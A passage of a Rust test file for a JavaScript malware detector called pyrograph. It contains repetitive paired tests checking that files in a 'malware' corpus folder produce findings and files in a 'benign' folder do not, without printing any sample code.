    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_38");
}

#[test]
fn test_js_hard_batch14_malware_39() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_39.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_39.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_39");
}

#[test]
fn test_js_hard_batch14_benign_39() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_39.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_39.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_39");
}

#[test]
fn test_js_hard_batch14_malware_40() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_40.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_40.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_40");
}

#[test]
fn test_js_hard_batch14_benign_40() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_40.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_40.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_40");
}

#[test]
fn test_js_hard_batch14_malware_41() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_41.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_41.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_41");
}

#[test]
fn test_js_hard_batch14_benign_41() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_41.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_41.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_41");
}

#[test]
fn test_js_hard_batch14_malware_42() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_42.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_42.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_42");
}

#[test]
fn test_js_hard_batch14_benign_42() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_42.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_42.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_42");
}

#[test]
fn test_js_hard_batch14_malware_43() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_43.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_43.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_43");
}

#[test]
fn test_js_hard_batch14_benign_43() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_43.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_43.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_43");
}

#[test]
fn test_js_hard_batch14_malware_44() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_44.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_44.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_44");
}

#[test]
fn test_js_hard_batch14_benign_44() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_44.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_44.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_44");
}

#[test]
fn test_js_hard_batch14_malware_45() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_45.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_45.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_45");
}

#[test]
fn test_js_hard_batch14_benign_45() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_45.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_45.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_45");
}

#[test]
fn test_js_hard_batch14_malware_46() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_46.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_46.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_46");
}

#[test]
fn test_js_hard_batch14_benign_46() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_46.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_46.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_46");
}

#[test]
fn test_js_hard_batch14_malware_47() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_47.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_47.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_47");
}

#[test]
fn test_js_hard_batch14_benign_47() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_47.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_47.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_47");
}

#[test]
fn test_js_hard_batch14_malware_48() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_48.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_48.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_48");
}

#[test]
fn test_js_hard_batch14_benign_48() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_48.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_48.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_48");
}

#[test]
fn test_js_hard_batch14_malware_49() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_49.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_49.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_49");
}

#[test]
fn test_js_hard_batch14_benign_49() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_49.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_49.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_49");
}

#[test]
fn test_js_hard_batch14_malware_50() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_50.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_50.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_50");
}

#[test]
fn test_js_hard_batch14_benign_50() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_50.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_50.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_50");
}

#[test]
fn test_js_hard_batch14_malware_51() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_51.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_51.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_51");
}

#[test]
fn test_js_hard_batch14_benign_51() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_51.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_51.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_51");
}

#[test]
fn test_js_hard_batch14_malware_52() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_52.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_52.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_52");
}

#[test]
fn test_js_hard_batch14_benign_52() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_52.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_52.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_52");
}

#[test]
fn test_js_hard_batch14_malware_53() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_53.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_53.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_53");
}

#[test]
fn test_js_hard_batch14_benign_53() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_53.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_53.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_53");
}

#[test]
fn test_js_hard_batch14_malware_54() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_54.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_54.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_54");
}

#[test]
fn test_js_hard_batch14_benign_54() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_54.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_54.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_54");
}

#[test]
fn test_js_hard_batch14_malware_55() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_55.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_55.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_55");
}

#[test]
fn test_js_hard_batch14_benign_55() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_55.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_55.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_55");
}

#[test]
fn test_js_hard_batch14_malware_56() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_56.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_56.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_56");
}

#[test]
fn test_js_hard_batch14_benign_56() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_56.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_56.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_56");
}

#[test]
fn test_js_hard_batch14_malware_57() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_57.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_57.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_57");
}

#[test]
fn test_js_hard_batch14_benign_57() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_57.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_57.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_57");
}

#[test]
fn test_js_hard_batch14_malware_58() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_58.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_58.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_58");
}

#[test]
fn test_js_hard_batch14_benign_58() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_58.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_58.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_58");
}

#[test]
fn test_js_hard_batch14_malware_59() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_59.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_59.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_59");
}

#[test]
fn test_js_hard_batch14_benign_59() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_59.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_59.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_59");
}

#[test]
fn test_js_hard_batch14_malware_60() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_60.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_60.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_60");
}

#[test]
fn test_js_hard_batch14_benign_60() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_60.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_60.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_60");
}

#[test]
fn test_js_hard_batch14_malware_61() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_61.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_61.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_61");
}

#[test]
fn test_js_hard_batch14_benign_61() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_61.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_61.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_61");
}

#[test]
fn test_js_hard_batch14_malware_62() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_62.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_62.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_62");
}

#[test]
fn test_js_hard_batch14_benign_62() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_62.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_62.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_62");
}

#[test]
fn test_js_hard_batch14_malware_63() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_63.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_63.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_63");
}

#[test]
fn test_js_hard_batch14_benign_63() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_63.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_63.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_63");
}

#[test]
fn test_js_hard_batch14_malware_64() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_64.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_64.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_64");
}

#[test]
fn test_js_hard_batch14_benign_64() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_64.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_64.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_64");
}

#[test]
fn test_js_hard_batch14_malware_65() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_65.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_65.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_65");
}

#[test]
fn test_js_hard_batch14_benign_65() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_65.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_65.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_65");
}

#[test]
fn test_js_hard_batch14_malware_66() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_66.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_66.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_66");
}

#[test]
fn test_js_hard_batch14_benign_66() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_66.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_66.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_66");
}

#[test]
fn test_js_hard_batch14_malware_67() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_67.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_67.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_67");
}

#[test]
fn test_js_hard_batch14_benign_67() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_67.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_67.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_67");
}

#[test]
fn test_js_hard_batch14_malware_68() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_68.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_68.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_68");
}

#[test]
fn test_js_hard_batch14_benign_68() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_68.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_68.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_68");
}

#[test]
fn test_js_hard_batch14_malware_69() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_69.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_69.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_69");
}

#[test]
fn test_js_hard_batch14_benign_69() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_69.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_69.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_69");
}

#[test]
fn test_js_hard_batch14_malware_70() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_70.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_70.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_70");
}

#[test]
fn test_js_hard_batch14_benign_70() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_70.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_70.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_70");
}

#[test]
fn test_js_hard_batch14_malware_71() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_71.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_71.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_71");
}

#[test]
fn test_js_hard_batch14_benign_71() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_71.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_71.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_71");
}

#[test]
fn test_js_hard_batch14_malware_72() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_72.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_72.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_72");
}

#[test]
fn test_js_hard_batch14_benign_72() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_72.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_72.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_72");
}

#[test]
fn test_js_hard_batch14_malware_73() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_73.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_73.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_73");
}

#[test]
fn test_js_hard_batch14_benign_73() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_73.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_73.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_73");
}

#[test]
fn test_js_hard_batch14_malware_74() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_74.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_74.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_74");
}

#[test]
fn test_js_hard_batch14_benign_74() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_74.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_74.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_74");
}

#[test]
fn test_js_hard_batch14_malware_75() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_75.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_75.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_75");
}

#[test]
fn test_js_hard_batch14_benign_75() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_75.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_75.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_75");
}

#[test]
fn test_js_hard_batch14_malware_76() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_76.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_76.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_76");
}

#[test]
fn test_js_hard_batch14_benign_76() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_76.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_76.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_76");
}

#[test]
fn test_js_hard_batch14_malware_77() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_77.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_77.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_77");
}

#[test]
fn test_js_hard_batch14_benign_77() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_77.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_77.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_77");
}

#[test]
fn test_js_hard_batch14_malware_78() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_78.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_78.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_78");
}

#[test]
fn test_js_hard_batch14_benign_78() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_78.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_78.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_78");
}

#[test]
fn test_js_hard_batch14_malware_79() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_79.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_79.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_79");
}

#[test]
fn test_js_hard_batch14_benign_79() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_79.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_79.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_79");
}

#[test]
fn test_js_hard_batch14_malware_80() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_80.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_80.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_80");
}

#[test]
fn test_js_hard_batch14_benign_80() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_80.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_80.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_80");
}

#[test]
fn test_js_hard_batch14_malware_81() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_81.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_81.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_81");
}

#[test]
fn test_js_hard_batch14_benign_81() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_81.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_81.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_81");
}

#[test]
fn test_js_hard_batch14_malware_82() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_82.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_82.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_82");
}

#[test]
fn test_js_hard_batch14_benign_82() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_82.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_82.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_82");
}

#[test]
fn test_js_hard_batch14_malware_83() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_83.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_83.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_83");
}

#[test]
fn test_js_hard_batch14_benign_83() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_83.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_83.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_83");
}

#[test]
fn test_js_hard_batch14_malware_84() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_84.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_84.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_84");
}

#[test]
